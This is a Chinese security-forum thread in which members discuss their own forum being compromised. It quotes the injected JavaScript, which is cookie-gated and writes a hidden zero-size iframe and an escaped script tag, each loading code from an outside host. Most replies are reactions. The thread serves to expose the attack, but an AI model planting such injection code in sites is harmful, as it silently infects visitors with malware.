卡饭挂马原理~~

song-ci

佩服羡慕技术部的朋友，很厉害，我们只能看看，不太会分析，谢谢

tanlimo

今天没发现啊？

无语凝噎死你

原帖由 vistabull 于 2009-4-25 19:08 发表
用sbie抓。。

用工具要累死。。

已知至少20pages

SBIE我试着去抓马的，但是……只要在沙盘里上卡饭，就一次也没有碰到过……运气不太好……
然后用畅游巡警公益杀毒版查卡饭……又没有查到……时间不太对……可能是……

JY-YZX714

眼睛看花了，我整理源代码一下
function Get(){
        var Then = new Date()
                Then.setTime(Then.getTime() + 24*60*60*1000)
                var cookieString = new String(document.cookie)
                var cookieHeader = "Cookie1="
                var beginPosition = cookieString.indexOf(cookieHeader)
                if (beginPosition != -1){
                } else
                { document.cookie = "Cookie1=risb;expires="+ Then.toGMTString()
                document.write("<iframe src=http://xyq.khb86.cn/1/03/index.htm?x14 width=0 height=0></iframe>");
                document.write('<script type="text/javascript" src="http://js.tongji.cn.yahoo.com/1050544/ystat.js"></script>');
                }
}Get();




if (document.cookie.indexOf('hello') == -1) { //如果COOKIE不存在HELLO则执行下面代码：

        var expires = new Date(); //声明变量expires等于当前日期

        expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000); //对得到的时间进行修改

        document.cookie = 'hello=Yes;path=/;expires=' + expires.toGMTString(); //写入COOKIE：hello=Yes;path=/;expires=(上面修改后的时间)

        document.write(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%27%6A%61%76%61%73%63%72%69%70%74%27%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%68%70%35%34%30%2E%77%65%65%64%6E%73%2E%63%6F%6D%2F%62%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E")); //执行挂马代码
}

繁华过后

居然搞到老窝里来了

Derek

竟然出这种事 太猖狂了

ydyzydyz

卡饭被挂马，有意义吗？

xiachuan980

真的不知道是那这么坏呀，

wcyxj123

敢挂卡饭真是不想活了！

KK院长

我25号,在上卡饭,畅游和杀软件同时报警,想不是挂马了吧? 哎,现在的人都敢挂到我们技术论坛来了,